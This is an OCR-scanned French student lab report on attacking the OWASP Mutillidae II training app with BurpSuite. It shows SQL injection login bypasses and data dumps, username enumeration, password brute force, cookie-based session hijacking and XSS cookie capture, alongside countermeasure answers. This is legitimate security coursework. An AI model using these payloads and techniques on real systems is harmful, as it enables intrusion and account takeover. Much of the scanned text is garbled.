Exploitation d'une plateforme d’ap-

prentissage des vulnérabilités des

applications web

Sécurisation des applications web

4 BurpSuite

Créé par : HENRY Alexis,
Le 03/10/2022.

Modifié par : HENRY Alexis,
Le 03/10/2022.

Version du document : vl.



Sommaire

PNt 1V =30 e A [ Y=Y o £ o o T 2
Découverte de 12 SenSibilité SQLi.......cccuiiuiriiiiiieieiieciee ettt e 4
DEfi N°1 : EXTraction dES AONNEES .......eiiiuiiiiiiiiieeete ettt ettt et e e st e e st e sbeeesbeeesanes 5
Défi n°2 : Passer outre une authentification .........c.cccooviiiiiiiiiiiin e 6
) e M 10V [T ot o TP 7
DéEfi N°1 : EXEraction @S dONNEES ...........ccccueeieeiiieieeiiee e cectee e eetee e e e eae e e e etre e e ebae e e e sabae e e e saraeeeenareeas 7
Défi n°2 : Passer outre une QUtRENLIfiCAtION .............coeeeeecieeeeeciieeeciiee e eectee e eette e esree e e e vae e e e 8
CONTIEMBSUIES ..ciiiiii ittt e ettt e e e e s e s bbb et e e e e e s s s e b et e e e e e s e s anbareeeeeessesnnnrnnes 9
Activité n°2 : Vulnérabilités liées a I’authentification et a la gestion des sessions .......cccccccueeeeanenes 12
Dossier 1 : ENUMEration des OGNS ....ccuiiii ittt ette e e et e e e e tte e e e e bae e e e ebtaeeeeraeeaeennes 12
Etape n°1 : Enumération des logins en mode NON SECUNISE. .............ccoueeeecveeeeeciieeeeeiiieeeeeiireeeenns 12
Etape n°2 : Enumération des logins en mode sécurisé et analyse du code source........................ 17
Dossier 2 : Force brute d’un Mot e PassS.......ceiicciieeiiicieieiiiieeeercteeeeeciee e sre e e sree e e s ssbee e e s sreeeeesanes 18
Etape n°1 : Force brute d’un MOt 0@ PASSE...........ueeeecueeiiecieiiieiiiee e ecieee e ectee e estee e e sare e s ssaeeeeesnes 18
Etape n°2 : Codage sécurisé et analyse du COde SOUICE ............cuuueeecueeeeeciiieeeeiieeeeecteeeeecreeeeenns 19
DOSSIEr 3 1 VOl A8 SESSION ...utiiiiieeteette ettt ettt ettt sttt e b e b e s be e satesat e et e ebeesbeesaeesanenas 21
ELAPe N°1 2 VOI A SESSION .....cooeeveeeiieiieie ettt e ettt e ettt e e et e e e st a e e e s bteeeesbteeessastaeeesanes 21
Etape n°2 : Codage sécurisé et analyse du COdE SOUICE ..........cccuuuieecviveeirciiieeeeiieeeeecieeeessieee s 22
Activité n°3 : Vulnérabilités de type XSS (Cross Site SCripting) .....cceeceeiiiiiiiirenecseieiinenerenensesesenenns 24
XSS réfléchi via un CONTEXEE HTIMIL ...coouiiiuiiiiieieetesiee ettt sttt et sbe e s 24
Nouvelle tentative en mode sécurisé et analyse du code SOUICE.........cuveeieciieeeeciiee e et 26
NIVEAU @ SECUITE L ..ttt ettt e r e sbe e re e smeeeaeeennees 26
NIVEAU @ SECUITE 5.ttt ettt et esme e sme e eaeeennees 27
XSS permanant via une page affichant des I08S.......cocciiiiiiiii e e 28

Codage sécurisé et analyse dU COUE SOUICTE ....c.uuiiiiiiiiiee ettt e eetee e et e e e eare e e e e ebee e e eeataee e e areeas 30

Activité n°4 : Bréche sur des informations confidentielles.............eeeeeeeeeeeeemereeeeeeeeeeenieeeeeeeeeeeeenenn 31
Affichage d’une page de configuration confidentielle........c.cccooeuieiiiiei i, 31
Mise en place de I'attaque Par FUZZING .........c..ooiiiiiiii it e e aae e e e 32

Tentative en mode sécurisé & Analyse du COAE SOUICE......ccuuiiiieiiiieeecieeeeecieeeeecitee e e eetre e e e e care e e e e 33



Activité n°1 : Injections

- Le niveau de sécurité par défaut est 0, I'indication est affichée en haut de la page :

2 IWiuLiiiuJac ii. rwcec
0.5 Security Level: 0 (Hosed) H

- Ci-dessous, la création d’'un compte dont nous allons intercepter les données avec
BurpSuite :

[ Please choose your username, password and signature ]

Username admin123
Password Password Generator
Confirm Password

adminl23

Signature

Create Account

- Contenu de la requéte interceptée avec BurpSuite lors de la création du compte :

HTTP history WebSockets history Options

y Request to http://localhost8080 [127.0.0.1]

I Forward Drop Intercept is on Action Cpen Browser

Prett Raw Hex B 0 =

- 1 POST /index.php?page=regiscer.php HTTP/L.1

2 Host: localhost:30280

3 Content-Length: 137

Cache-Control: max—age=0

sec—ch-ua: "Not;A=Brand";v="98", "Chromium";v="10&"

sec-ch-ua-mobile: 20

sec—ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

Origin: htep://localhost:8080

10 Content-Type: application/x-www-form-urlencoded

~ 1l User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.3€ (KHTML, like Gecko)
Chrome/l0E.0.5249.62 Safari/537.36

12 Accept:
text/html, application/xhtml4xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */ *;q=0.8, appl
ication/signed-exchangs;:v=h3:q=0.%

13 Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

7 Referer: htep://localhosc:S5080/ index.php?popUplotificationCode=5L0&page=register.php

¢ Accept-Encoding: gzip, deflate

Accept-Language: fr-FR, fr;q=0.9,=n-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=ajl0laZhSteil3érjdphbécknS; showhints=1

Connection: close

oo

23 csrf-token=susernawme=adminll3ipassword=adminl23sconfirm password=adminlZ3imy signature=adminlZ3e
register-php-submit-button=Create+Account



- La prochaine étape consiste en I'authentification de notre compte :

[ Please sign-in ]
Username [admini23 )
Password | ]

Dont have an account? Flease register here

- En haut de la page on voit que notre connexion est réussie :

e
)p Calm and Pwn On

nabled Logged In User: admin123 [#]

| Reset DB | View Log | View Captured Data



Découverte de la sensibilité SQLi

- Détection de la sensibilité SQLi :

-----------------------------------------------------------------------------------------------------------------

_________________________________________________________________________________________________________________

[ Please sign-in ]

Username [testsqlisensibility ]

Password [ ]

Dont have an account? Please register here

- Message d’erreur SQL regu lors de la validation du formulaire ci-dessus :

Failure is always an option

D
Code 0
File |

e |

Disgnotic
Inforestion

[ CLick here to reset the 08




Défi n°1 : Extraction des données

- Récupérer la liste de tous les utilisateurs :

Please enter username and password
to view account details

Name [ OR username LIKE "%%" OR username LIKE '

Password [ OR password LIKE "%%" OR passwaord LIKE '

[ View Account Details ]

Dont have an account? Please register here

Signature=meow

Username=rocky
Password=stripes
Signature=treats?

Username=tim
Password=lanmaster53
Signature=Because reconnaissance is hard to spell

Username=ABaker
Password=SoSecret
Signature=Muffin tops only

Username=FPan
Password=NctTelling
Signature=Where is Tinker?

Username=CHook
Password=JollyRoger
Signature=Gator-hater

Username=james
Password=i<3devs
Signature=0ccupation: Researcher

Username=ed
Password=pentest
Signature=Commandline KungFu anyone?

Username=admin123
Password=admin123
Signature=

Username=admin123
Password=admin123
Signature=admini123



Défi n°2 : Passer outre une authentification

- Acces a la page de connexion :

@4 OWASP Mutillidae Il: Keep Calm and Pwn On

Varsion: 2.10.5  Security Level: 0 (Hosed)  Hints: Enabled Mot Logged In
Hame | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Gaptured Data

Login )

g Help We!

Hints and Videos

( Please sign-in ]

Username  I— |
Password )
Togin
™ Dant have an account? Flease regisler here
Want to Help?
Video Tutorials

- Connection en tant que « james » :

.................................................................................................................

_________________________________________________________________________________________________________________

[ Please sign-in ]

Username (iames ]

Password [' OR username="james ]

- Authentification réussie :

2ep Calm and Pwn On
ts: Enabled Logged In User: james [#;

S | Reset DB | View Log | View Captured Data



Tests d’injections

Défi n°1 : Extraction des données

- Affichage de tous les utilisateurs avec une injection :

Please enter username and password
to view account details

Name [or(a'="a")or’ )

Password [for(a'="a")or’ |

[ View Account Details ]

e rran mamr e s e b e e

[ Results for ™or ("a’ ='a’ ) or ™.25 records found.
Username=admin

Password=adminpass

Signature=g0t rO0t?

Username=adrian
Password=somepasswaord
Signature=7ombie Films Rockl

Username=john
Password=monkey
Signature=| like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak

Username=bryce
Password=password
Signature=| Love SANS

Username=samural

Password=samurai
Signature=Carving fools

- Récupération du compte dont le nom d’utilisateur est « admin » :

Please enter username and password
to view account details

Name |'or username="admin |

Password

View Account Details

Dont have an account? Please reqister here

Results for ™ or username="admin".1 records found.

Username=admin
Password=adminpass
Signature=g0t r00t?



Défi n°2 : Passer outre une authentification

- Connexion au premier compte trouvé :

[ Please sign-in ]
Username [or(a'="a")or ]
Password [oria="a")or’ ]

Il AlINA 1 WYL Wil

Logged In Admin: admin [#
| View Log | View Captured Data

- Connexion au compte dont le nom d’utilisateur est « admin » :

[ Please sign-in ]
Username [ or usemame="admin )
Password [ or usemame="admin )

110 CAllINA 1 O WVWIDL Wil

Logged In Admin: admin [#
| View Log | View Captured Data




Contre-mesures

Question n°1 :

- Moadifier le niveau de sécurité et vérifier que les tests d’exploitation des failles SQL

échouent :

= Tentative d’injection SQL pour se connecter :

localhost:8080 indique

Username too long. We dont want to allow too many characters.

Someone might have enough room to enter a hack attempt.

to XPath version

Please enter username and password
to view account details

Name (for{a="a")or ]

Password [ ]

[ View Account Details ]

Question n°2 :

- Quel niveau de sécurité est nécessaire pour protéger contre ces attaques ?

Le niveau 1 est le celui nécessaire pour protéger contre cette attaque car il bloque et limite le con-
tenu envoyé via le formulaire.



Question n°3 :

- Ace niveau, quels sont les contrdles réalisés ?

Les controles réalisés sont les suivants :

- Alerte en cas d’erreur dans les champs
- Vérification de la longueur du nom d’utilisateur et du mot de passe

- Vérification des caracteéres utilisés

Question n°4 :

- Est-ce que le contréle HTML aurait suffi a protéger contre ces injections SQL ?

Non le contréle HTML n’aurait pas suffi a lui seul car il ne peut pas vérifier la totalité des informations
entrée dans les champs du formulaire.

Question n°5 :

- Comment la validation Javascript est-t-elle réalisée ?

La validation Javascript consiste en un événement a la validation du formulaire :

O onsubmit="return onSubmitOfForm(this);"

Lors de la validation, les données sont envoyées a la fonction « onSubmitOfForm » qui s’occupe de
les vérifier.
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Question n°6 :

- Quels sont les contréles réalisés par la validation Javascript ?

- La fonction « onSubmitOfForm », ci-dessous :

[ ]
function onSubmitOfForm( theForm){

var lUnsafeCharacters = /[ ~! Sk ( )-_=+\[\]

I tan 1.‘..

(] 3Y8%, 21/

if(1ValidateInput == "TRUE")

{

if (username.value.length > 15 ||
password.value.length > 15)

{
alert('...");
return H
b
if (username.value.search(lUnsafeCharacters) > -1 ||
password.value.search(lUnsafeCharacters) > -1)

{

return

Réalise différentes fonctions :
- Vérification des characteres contenus (a I'aide de la variable IlUnsafeCharacters),
o

- Vérification de la longueur des valeurs entrées dans les champs du formulaire.



Activité n°2 : Vulnérabilités liées a I’authentifica-
tion et a la gestion des sessions

Dossier 1 : Enumération des logins

Etape n°1 : Enumération des logins en mode non sécurisé.

Question n°1

- Commencer par installer I'extension Wsdler.

Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extender

Extensions BApp Store APls Options
AN Estimated system impact:  Low @I

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities.

MName Installed Rating Popularity — Last updated  System impact Detail
v
Wsdler v Wi wL——1 01Nov2016  Low

Question n°2

- Tester un exemple de requéte et de réponse a I'aide d’un login non valide en réalisant

les manipulations décrites dans |'étape n°2.

m ©)| cancel |[< ¥

Request

Pretty Raw Hex \n
1 POST /webservices/soap/ws-ussr-account.php HITR/L.1

2 sec-ch-ua: "Hot;A=Brand";v="899", "Chromium'";w="l0E"

5 sec-ch-ua-mobils: 70

4 sec-ch-ua-platform: "WVindows"

S Upgrade-Insscurs-Requests: |

& User-Agent: Mozilla/5.0 (Windows NT L0.0; Winéd: x€4) AppleVWebKit/537.3¢ (KETML, like Gecl

Chrome/10¢.0.5249.62 Safari/537.36

7 Accepr:
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */
=0.8,application/signed-exchange:vw=b3;q=0.9

¢ Sec-Fetch-Site: same-origin

9 Sec-Fetch-Mode: navigate

0 Sec-Fetch-User: 21

Sec-Fetch-Dest: document

Referer: http://localhost:B081/webservices/soap/ws-user-account.php

Accept-Encoding: gzip, deflate

Accept-Language: fr-FR,fr;q=0.9,en-US;g=0.8,=n;q=0.7

15 Cookie: PHPSESSID=K45cEsasrifispdmirébepddu; showhints=l

16 Connsction: closs

17 SORPACtion: urn:ws-user-accountfgstUser

% Content-Type: text/xml;charssc=UTF-8

Host: localhost:8081

Content-Length: 46€

<soapenv:Envelope xmlns:xsi="http://wvw.w3.org/2001/XHLSchema-instance” sxmlns:xsd="
hrep://wew.wd.org/2001/ XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/enve lope,
Mmlns :urn="urn: vs-user-account >

<urn:getUssr soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/ ">
<username xsi:type="xsdistring”>test not exist</username>
</urn:getUser>
</soapenv:Body>
</socapenv:Envelope>

12



Response

Pretty Raw Hex

HTTP/ L.l 200 OK

2 Host: localhost:B8081

Date: Tus, 04 Cct 2022 13:48:01 GMT
Connection: claose

X-Poweresd-By: PHP/8.1.11

Expires: Thu, 19 Nov 1881 08:5Z:00 GHMT
Cache-Control: no-stores, no-cache, must-revalidate
no-cache

¢ NuSOAP Sesrver v0.9.11
K-SOAP-Server: NuSOAP/0.9.11 (1.123)
Content-Type: text/xml:; charsec=I50-8859-1
Content-Length: SE€E6

= il

LS

4 <?xml version="1.0" encoding="I50-3059-1"7>
<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlscap.ory/soap/encoding/ ™
xmlns:SOAP-ENV="http://schemas.xmlscap.ordg/soap/envelope/" xmlns:xsd="
Jwww.w3.org/200L1/XMLSchema™ xmlns:xsi top://www. w3, org/ 2001/ ¥MLSchema-instance™
xmlns:SOAP-ENC="http://schemas.xmlscap.ordg/soap/encoding/ ">
<SOAP-ENV:Body>
<nsl:getUssrResponse xmlns:nsl="urn:wvs-user-account'>
<return xsi:type="xsd:xml">
<accounts message="User test not exist doss not existl" />
</return>
</nsl:getUssrResponses>
</SO0AP-ENV:Body>
</SOAP-ENV:Envelope>

Question n°3

- Tester un exemple de requéte et de réponse a I'aide d’un login valide en réalisant les

manipulations décrites dans I'étape n°3.

o Création des utilisateurs : « utilisateurl, utilisateur2 »

<gcapenv:Envelops xmlns:xsi="http://www.w3.org/200L/¥MLSchema-instance" xmlns:xsd="
htep://www. w3 .org/ 2001/ ¥MLSchema” xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
Hmlns:ur, urn: ws-user-account”»
<gcapenv:Hsadsr/>
<soapenv:Body>
i <urn:getlUser scapenv:encodingStyle="http://schemas.xmlscap.org/soap/encoding/ ">
B <username xXsi:type="xsdistring">
utilisateurl
</ussrname>
</urn:getlUser>
</socapenv: Body>
! </soapenv:Envelopes>

Response

Pretty Raw Hex

1 HTTF/1l.1 200 COK

Host: localhost:B0OS81

! Date: Tus, 04 Oct I0II 13:54:43 GHNT

4 Connection: close

5 X-Powered-By: PHF/8.1.11

& Expires: Thu, 18 MNowv 18981 0B8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
£ Pragm. no-cache

Server: NuSOAP Server v0.9.11
X-S0AP-Server: NuSOAP/0.9.11 (l.123)
Content-Type: text/xml: charset=I1S0-8859-1
Content-Length: &51

14 <?xml version="1.0" encoding="T30-B8559-1"7>
<30AP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.umlscap.org/soap/encoding/ "
w¥mlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" ®mlns:xsd="
Jwww. w3.org/ 2001/ ¥MLSchema™ xmlns:xsi="http://www.w3.org/200L1/XMLSchema—instance"
wmlns: SOAP-ENC="http://schemas.xmlsoap.org/ soap/ encoding/ ">
<SOAP-ENV:EBody>
getUserFesponse xmlns:insl="urn:vs-user-—-account'>
<return xs vP xsd:ixml">
<accounts message="Results for utilisateurl">
<accounts
<username>
utilisaceurl
</usernam=>
<signature>
utilisateurl
</signature>
</account>
</accounts>
«</recurn>
</nsl:getUserResponse>
</SOLP-ENV:Body>
</SOAP-ENV: Envelope>

13



- Comparaison entre les deux réponses

o Utilisateur existant :

"= <account> <username = utilisateur1 </username > <signature > utilisateur1 </signature > </account > </ac

o Utilisateur non existant :

Mxsdixml”= <accounts message="User test user does not exist}" /> </return> </ns1:getUse

Question n°4

- Créer un dictionnaire de login sur votre machine cliente.

E logins.txt - Bloc-notes

Fichier Modifier Affichag

utilisateurl
utilisateur2
test

admin

user
multizdadaz
jean

harry

fred

patrice
administrateur




Question n°5

Lancer I'énumération et relever les logins valides en réalisant les manipulatio

décrites dans I'étape n°4.

@ Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

1

&

ns

Target:  http://localhost:8081 Update Host header to match target

POST /webservices/soap/ws-user-account.php HTTP/L.1
sec-ch-ua: "Not;A=Brand";v="89", "Chromiwm";v="10&"
sec-ch-ua-mobile: 20

4 sec-ch-ua-platform: "Windows"™

Upgrade-Insecurs-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd4; x£4) AppleWebKit/537.3€ (KHTML, like Gecko) Chromes/l106.0.5249.62 Safari/537.36
Acecept:

text/html, application/xhtml+xml, application/xml;¢=0.9, imags/avif, image/webp, image/ apng, */ *; q=0.8, application/signed-exchangs;v=b3;q=0.9
2 3ec-Fetch-3ite: same-origin
% Sec-Fetch-Mode: navigate

0 Sec-Fetch-User: 71

Sec-Fetch-Dest: documsnt

Referer: hotp://localhost:8081/webservices/soap/ws-user-account.php
Accept-Encoding: gzip, deflate

Accept-Language: f£r-FR,fr;q=0.9,en-U3;q=0.8,en;q=0.7

Cookie: PHPSESSID=k4S5césasrjBiepdmirébiepddu; showhincs=1
Connesction: closs

S0APAction: urn:ws-user-accountfgetlUser

2 Content-Type: text/xml;charsec=UTF-&
% Host: localhost:B8081
0 Content-Length: 464

2 <soapenv:Envelope wmlns:xsi="http://www.w3.org/200L1/XMLSchema-instance” xmlns:xsd="http://www.wd.org/200L/ XMLSchema" xmlns:soapenv=""

http://schemas.xmlsoap.org/soap/envelops/" xmlns:urn="urn:wvs-user-account™>
<soapenv: Header/>
<soapenv:Body>
<urn:getUser soapenv:encodingStyle="http://schemas.xmlscap.ory/soap/encoding/ ">
<usernams xsi:type="usd:string":Sutilisateurl§</ussrnams:
</urn: getUser>
</soapenv:Body>

% <fsoapenv:Enmvelopes

o Liste des logins envoyés (si « Results for » n’est pas vide, le login est correct)

Request Payload Status Error Timeout Length Results for
10 200 1018 utilisateur1" = <account ...
LR utilisateurl 200 1018 utilisateur1"= <accounts ..
:2 utilisateur2 200 1018 utilisateur2" > <account:...
13 test 200 923
4 admin 200 1001 admin"» <account> <us..
s user 200 923
(6 multizdadaz 200 930
17 Jean 200 923
; 8 harry 200 924
19 fred 200 923
£10 patrice 200 926
] 1 administrateur 200 933

15



Question n°6

- AVaide du comparateur, expliquer quelles sont les lignes de la réponse sur lesquelles

I’'attaquant a pu s’appuyer pour lancer I'attaque ?

Les lignes sur lesquelles I'utilisateur a pu s’appuyer pour lancer I'attaque sont les suivantes :

<S0AP-ENV : Body=
=nsl:getUserResponse xmlns:nsl=
<return xsi:type= >
<accounts message=
<account=
=username=utilisateurl=
signature=

16



Etape n°2 : Enumération des logins en mode sécurisé et analyse du code
source

Question n°1

- Fermer puis relancer BurpSuite. Positionner le niveau de sécurité a 5 et relancer

I’attaque en suivant les étapes 2 a 4.

Résultat de la requéte « GetUser » avec un utilisateur inexistant et un niveau de sécurité a 5:

xmlns:SOAP-ENC="
http://schemas.xmlsoap.org/scap/encoding/ "=
<S0OAP-ENV:Eody>
<nsl:getUserPesponse xmlns:nsl="
Urn: ws-user-account ">
<return xsi:type="xsd:xml">
<accounts message="User gero =t does not
exist}" />
</returns>
</nsl:getUserBesponses
</SCOAP-ENV:Body>
</S0AP-ENV:Envelope>

Question n°3

- Chercher le codage mis en place permettant d’obtenir un encodage sécurisé. Expliquer

le role de I'instruction EncodeforHTML.

L'instruction « EncodeforHTML » permet d’encoder les messages de sortie pour éviter que I'atta-
quant puisse les exploiter (I'username ainsi que la signature dans le cas ci-dessous).

$pEncodeOutput?$1Signature =
$lUsername =
$Encoder->encodeForHTML( $row->username ) : $lUsername =
$row->username; ;

i1f( isset($row->mysignature) {
$pEncodeOutput?$lSignature =
$Encoder>encodeForHTML{ $row-
>mysignature):$lSignature =
$row->mysignature;

}

$1Results. 3 t>"3
$1Results. sername>{$lUsername}- se

if( isset($row->mysignature) {
$1Results.= Lgnature={$1Signature}

b

$1Results.=

17



Question n°2

- Les informations affichées par le comparateur sont-elles exploitables pour tenter une

énumération ?

Les requétes de niveau 5 retournant une erreur 500, nous avons d{ réaliser certaines modifica-
tions dans le code source de I'application. Cependant, suite a cette modification le résultat des
requétes était identique a ceux du niveau 1. Donc I'énumération est toujours réalisable.

Dossier 2 : Force brute d’'un mot de passe

Etape n°1 : Force brute d’un mot de passe

Question n°1

- Commencer par préparer |'attaque en réalisant les manipulations décrites dans I’étape

n°l.

Raw Hex

1 POST /index.php?page=login.php HTTE/L.1

2 Host: localhost:5050

3 Content-Length: E£1

Cache-Control: max-age=0

sec—ch-ua: "MNot; A=Brand";w="58", "Chromium";wv="10&8"
sec—-ch-ua-mobile: 20

sec—ch-ua-platform: "Windows"

o Upgrade-Insecure-Regquests: 1

Origin: http://localhost:5050

J Content-Type: application/x-www-form-urlencodsd

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE64) AppleWebKit/537.36
Safari/537.36

12 Accept:

text/html, application/xhtml+xml, application/xml;:q=0.9, image/avift, image/ we
exchange;v=b3;q=0.9

3 Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec—-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost:5050/ index. php?page=login. php

o Aceept-Encoding: gzip, deflate

¢ Acecept-Language: fr-FR,fr;q=0.89,en-US;q=0.8,en;q=0.7

1 Cookie: PHPSESSID=ji7agSkijihdnivtoviknZglhmwg; showhints=1
1 Connection: close

23 username=adminipassword=zadazda&login-php-submit-button=Login
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Question n°2

- Lancer la force brute en suivant les indications de I'’étape n°2.

Force brute du mot de passe du compte « admin », avec un dictionnaire de mots de passe :

0 200 58031
1 1 password 200 50524
2 1 passwordtest 200 50544
3 1 admin 200 50509
4 1 adminpass 200 50529
5 1 test 200 43411
6 1 testn 200 50509
7 1 admin 200 50509
8 1 admin 200 50509
9 1 admin 200 50509
10 1 admizdz 200 50519
1 1 nazd 200 50504
12 1 admizada 200 50524
13 2 password 200 59051
14 2 passwordtest 200 39031
15 2 admin 200 59051
16 2 adminpass 302 414

17 2 test 200 589223
18 2 testn 200 59223
19 2 admin 200 589223
20 2 admin 200 589223
21 2 admin 200 59223
22 2 admizdz 200 58223
23 2 nazd 200 58223
24 2 admizada 200 59223

Hints and Videos

You are logged in as admin

Etape n°2 : Codage sécurisé et analyse du code source

Question n°1

- Fermer puis relancer BurpSuite. Positionner le niveau de sécurité a 5 et relancer

I"attague en suivant les étapes 1 et 2. La force brute a t-elle échoué ?

Non, I'attaque par force brute est toujours fonctionnelle.
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Question n°2

- Observez le code source de la page register.php (création d’un nouveau compte) et
indiquer si avec un codage de niveau 5, un utilisateur peut créer un compte avec un

mot de passe non sécurisé ?

Le niveau 5 empéche I'utilisateur d’utiliser des caracteres spéciaux dans ses identifiants.

localhost:5050 indique

Dangerous characters detected. We can't allow these. This all powerful
blacklist will stop such attempts.

Much like padlocks, filtering cannot be defeated.

Blacklisting is 133t like I33tspeak.

Alnx Switch to RESTful Web Service Ve
L

Please choose your username, pa
signature
Username
ite
Password Password Ge
Help?
Passwo
. Password
. [alexis
itorials Signature

Question n°3

- COté administrateur du systeme attaqué, quelles sont les mesures permettant de

détecter et de contrer ce type d’attaque ?

o Faire en sorte que les mots de passes des utilisateurs soient sécurisés.
o Limitation du nombre de tentatives de connexion.

o Authentification a deux facteurs.
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Dossier 3 : Vol de session

Etape n°1 : Vol de session

Question n°1

Commencer par intercepter le cookie d’un utilisateur correctement authentifié en

réalisant les manipulations décrites dans I'étape n°1.

Request Cookies

4 ~
Mame Value >
PHPSESSID Jifag8kjihdn2vtevkn2g2hmvg >
showhints 1 >
username utilisateur1 >
uid 24 >

Question n°2

Voler la session d’une victime en modifiant I'identifiant associé au cookie intercepté.
Pour cela, réaliser les manipulations décrites dans I'étape n°2.

En changeant la valeur du cookie « uid », on se retrouve connecter en tant qu’administrateur.

alm and Pwn On

Logged In Admin: admin [#
DB | View Log | View Captured Data
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Etape n°2 : Codage sécurisé et analyse du code source

Question n°1

- Fermer puis relancer BurpSuite. Positionner le niveau de sécurité a 5 et relancer

I'attaque en suivant les étapes 1 et 2. La modification du cookie uid a t-elle une

conséqguence ?

Récupération des cookies d’un utilisateur avec un niveau de sécurité a5 :

Request Cookies 4 ~

Name Value
PHPSESSID JiTag8kjihdn2vtcvkn2gZhmvg
showhints ]

username utilisateur

v v v vl

uid 25

En changeant la valeur du cookie « uid », on reste tout de méme connecté au méme compte :

Calim and Pwn On
ed Logged In User: utilisateur [#]

iew Log | View Captured Data

Question n°2

- Observez le code source de la page index.php (page d’accueil) et relever les différences

avec le codage de niveau de sécurité 0 et 1.

Le niveau 0 ne contient aucune sécurité dans ce cas-ci.

Pour ce qui est du niveau 1, il ne protége pas de cette attaque car il fait uniquement une redirection.

Dans le cas du niveau de sécurité 5, le programme s’arréte.
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Question n°3
- Expliquer les différences entre un cookie et une session. Conclure sur les bonnes

pratiques de codage concernant le suivi des utilisateurs identifiés.

o Les cookies et les sessions contiennent des informations sur l'utilisateur, mais
les cookies sont stockés coté client tandis que les sessions sont stockées coté

serveur.

o Les cookies expirent aprés un certain temps tandis que les sessions se

terminent lorsqu'un utilisateur ferme le navigateur.

o Les cookies peuvent étre désactivés mais les sessions ne peuvent pas étre

désactivées.
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Activité n°3 : Vulnérabilités de type XSS (Cross Site

Scripting)

XSS réfléchi via un contexte HTML

Question n°1

Mutillidea et BurpSuite sont sur la méme machine, ils peuvent donc communiquer.

Le niveau de sécurité de Mutillidae est positionné sur 0.

Question n°2

Réalisation du premier défi permettant de capturer le cookie d’authentification de la victime.

is Page

[ Enter IP or hosthame ]
Hostname/IP

- Résultat dans BurpSuite

y Request to http://localhost:8080 [127.0.0.1]

Forward Drop Action Open Browser

Pretty Raw Hex

POST /index.php?page=dns-lookup.php HTTE/1.1

Host: localhost:5080

Content-Length: E£1

Cache-Control: max-age=0

sec-ch-ua: "Not:A=Brand":w="99", "Chromium";wv="10E"

sec-ch-ua-mobile: 70

sec-ch-ua-platform: "Windows"

2 Upgrade-Insecure-Requests: 1

COrigin: http://localhost:S8080

10 Content-Type: application/x-www-form-urlencodesd

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£4) AppleWebKit/537.3€ [(KHTML, like Gecko)
Safari/537.3€6

12 Accept:

=]

S T S

text/html, application/xhtml+xml, application/xml;q=0.9, image/avitf, imags/webp, image/apng, */ *;q=

exchange;v=h3;q=0.9

3 Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

5 Sec-Fetch-User: 71

¢ Sec-Fetch-Dest: document

17 Beferer: htop://localhost:B8080/ index. php?page=dns—lockup. php

Accept-Encoding: gzip, deflate

19 Accept-Lancuage: fr-FR,fr:;q=0.9,en-U3;q=0.8,en;q=0.7

20 Cookie: PHPSESSID=0klaSSslélivitetfatkdgrbhr; showhints=1; username=utilisateur; uid=I5
1 Connection: close

3 target_host=localhosté&dns-lookup-php-submit-button=Lookup+DII3

8B wn =

Chrome/106.0.5249.62

0.8,application/signed-

24



I Dashboard Target

Raw Hex

Host: localhos
Content-Length:

1 POST /index.php?page=dns-lookup.php HTTP/1.1
080

Proxy Intruder Repeater Sequencer Decoder Comparer
Response
\n = Pretty  Raw Hex

61

4 Cache-Control: max-age=0

sec-ch-ua-mobile

11 User—-Agent: Mozi
AppleWebKit/537.
Chromes/106.0.524

12 Accept:

sec-ch-ua: "Not:A=Brand";w="5959", "Chromium";v="108"

1?20

sec-ch-ua-platform: "Vindows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
110 Content-Type: application/x-www—-form-urlencoded

1la/5.0 (Windows NT 10.0; Wingd: x£4)
36 (KHTML, like Gecko)
9.62 Safari/537.36

text/html, application/xhtml+xml, application/xml:q=0.9,1
mage/avif, image/webhp, image/apng, */ *; q=0.8,application/s
igned-exchangs;v=h3;q=0.5

Sec-Fetch-Site: sawe-origin

Sec-Fetch-Hode: navigate

Sec-Fetch-User: 7?1

Sec-Fetch-Dest: document

Referer:
http://localhost:B080/ index. php?page=dns-Llookup. php

Accept-Encodin
Accept-Languag

gzip, deflate
£r-FR, fr;q=0.9, en-Us; q=0.8, en; q=0.7

; username=utilisateur; uid=I5

Connsction: close

Lookup+DNS

Récupération des cookies

16 Sec-Fetch-Dest: cdocumsnt

Acecept-Encoding: gzip, deflate

Connection: close

localhost:8080 indique

PHPSESSID=0k1a595161
username=utilisateur; ui

target_host=localhost&dns-lookup-php-submit-button=

Cookie: PHPSESSID=0klaS9slél3vitetBatkdqrbhr; showhints

17 Referer: http://localhost:8080/ index.php?page=dns-lookup. php

Adecepr-Language: fr-FR, fr:qg=0.9,en-US;q=0.8,=n:q=0.7
Cookie: PHPSESSID=0klaS59slélivitetBatkdgrbhr: showhints=1; username=utilisateur; uid=ZI5

v2tet8atkdgrbhr; showhints=1;
5

Logger Extender Project optj
Update is
= =u
Render . \n =
</tr>
<TT>

<td colspan="2" style="
text-align:center; ">
<input name="
dns-lookup-php-submit-but
ton" class="button" type=
"submit" value="Lookup
DHS" />
</td>
</tr>
<tr>
<td>
</td>
</tr>
<tr>
<td>
</td>
</tr>
